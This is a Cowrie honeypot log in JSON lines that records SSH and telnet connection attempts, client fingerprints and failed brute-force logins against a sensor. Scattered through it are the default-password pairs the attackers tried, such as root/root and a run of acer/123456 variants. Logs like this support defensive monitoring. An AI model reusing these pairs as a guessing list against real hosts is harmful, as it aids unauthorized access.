{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:04.531141Z","src_ip":"183.135.11.52","session":"f365fbd70967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#321","message":"login attempt [ubuntu/ubuntu#321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:05.684400Z","src_ip":"183.135.11.52","session":"f365fbd70967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00607919692993,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:11.771995Z","src_ip":"179.175.135.5","session":"35bcceab377b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38190,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8f1ebaf82ec","protocol":"ssh","message":"New connection: 159.203.92.129:38190 (159.203.135.109:22) [session: b8f1ebaf82ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:14.250396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:14.256045Z","src_ip":"159.203.92.129","session":"b8f1ebaf82ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:14.261340Z","src_ip":"159.203.92.129","session":"b8f1ebaf82ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"123456","message":"login attempt [acer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:14.280784Z","src_ip":"159.203.92.129","session":"b8f1ebaf82ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:15.288652Z","src_ip":"159.203.92.129","session":"b8f1ebaf82ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.175.135.5","src_port":54848,"dst_ip":"159.203.135.109","dst_port":23,"session":"3777956010e6","protocol":"telnet","message":"New connection: 179.175.135.5:54848 (159.203.135.109:23) [session: 3777956010e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:15.293668Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:45.697867Z","src_ip":"14.103.112.108","session":"b9d3249885aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36298,"dst_ip":"159.203.135.109","dst_port":22,"session":"86b94bd4fd1f","protocol":"ssh","message":"New connection: 159.203.92.129:36298 (159.203.135.109:22) [session: 86b94bd4fd1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:57.900878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:57.905945Z","src_ip":"159.203.92.129","session":"86b94bd4fd1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:57.910343Z","src_ip":"159.203.92.129","session":"86b94bd4fd1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"1234567","message":"login attempt [acer/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:57.922562Z","src_ip":"159.203.92.129","session":"86b94bd4fd1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.43.15","src_port":36512,"dst_ip":"10.17.0.5","dst_port":23,"session":"16580bcc2491","protocol":"telnet","message":"New connection: 168.144.43.15:36512 (10.17.0.5:23) [session: 16580bcc2491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:58.703084Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:58.929989Z","src_ip":"159.203.92.129","session":"86b94bd4fd1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.43.15","src_port":36528,"dst_ip":"10.17.0.5","dst_port":23,"session":"650179ba1fa1","protocol":"telnet","message":"New connection: 168.144.43.15:36528 (10.17.0.5:23) [session: 650179ba1fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:46:02.777493Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.75.185.71","src_port":33242,"dst_ip":"10.17.0.5","dst_port":22,"session":"d342896a1dd5","protocol":"ssh","message":"New connection: 49.75.185.71:33242 (10.17.0.5:22) [session: d342896a1dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:46:04.953401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:46:04.958031Z","src_ip":"49.75.185.71","session":"d342896a1dd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:46:05.232829Z","src_ip":"49.75.185.71","session":"d342896a1dd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpn2024","message":"login attempt [root/vpn2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:46:07.142029Z","src_ip":"49.75.185.71","session":"d342896a1dd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.4500470161438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:46:29.152982Z","src_ip":"168.144.43.15","session":"16580bcc2491","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36748456954956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:46:33.144833Z","src_ip":"168.144.43.15","session":"650179ba1fa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53160,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecc0a65b6c9b","protocol":"ssh","message":"New connection: 159.203.92.129:53160 (159.203.135.109:22) [session: ecc0a65b6c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:46:41.408837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:46:41.416768Z","src_ip":"159.203.92.129","session":"ecc0a65b6c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:46:41.421519Z","src_ip":"159.203.92.129","session":"ecc0a65b6c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"12345678","message":"login attempt [acer/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:46:41.432498Z","src_ip":"159.203.92.129","session":"ecc0a65b6c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:46:42.438631Z","src_ip":"159.203.92.129","session":"ecc0a65b6c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.43.15","src_port":59516,"dst_ip":"10.17.0.5","dst_port":23,"session":"937ba53e86e1","protocol":"telnet","message":"New connection: 168.144.43.15:59516 (10.17.0.5:23) [session: 937ba53e86e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:46:50.695402Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:47:04.251799Z","src_ip":"183.135.11.52","session":"f365fbd70967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00204563140869,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:47:15.295607Z","src_ip":"179.175.135.5","session":"3777956010e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.469709157943726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:47:21.164989Z","src_ip":"168.144.43.15","session":"937ba53e86e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57080,"dst_ip":"159.203.135.109","dst_port":22,"session":"063b30fead04","protocol":"ssh","message":"New connection: 159.203.92.129:57080 (159.203.135.109:22) [session: 063b30fead04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:47:25.502738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:47:25.507170Z","src_ip":"159.203.92.129","session":"063b30fead04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:47:25.514086Z","src_ip":"159.203.92.129","session":"063b30fead04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"123456789","message":"login attempt [acer/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:47:25.525216Z","src_ip":"159.203.92.129","session":"063b30fead04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:47:26.551247Z","src_ip":"159.203.92.129","session":"063b30fead04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:04.961153Z","src_ip":"49.75.185.71","session":"d342896a1dd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.230.16.40","src_port":52996,"dst_ip":"10.17.0.5","dst_port":22,"session":"c596d2532ae9","protocol":"ssh","message":"New connection: 4.230.16.40:52996 (10.17.0.5:22) [session: c596d2532ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:05.402913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:05.474994Z","src_ip":"4.230.16.40","session":"c596d2532ae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:05.692484Z","src_ip":"4.230.16.40","session":"c596d2532ae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:06.778985Z","src_ip":"4.230.16.40","session":"c596d2532ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:08.007305Z","src_ip":"4.230.16.40","session":"c596d2532ae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40898,"dst_ip":"159.203.135.109","dst_port":22,"session":"89d8413e1c8d","protocol":"ssh","message":"New connection: 159.203.92.129:40898 (159.203.135.109:22) [session: 89d8413e1c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:09.764483Z"}
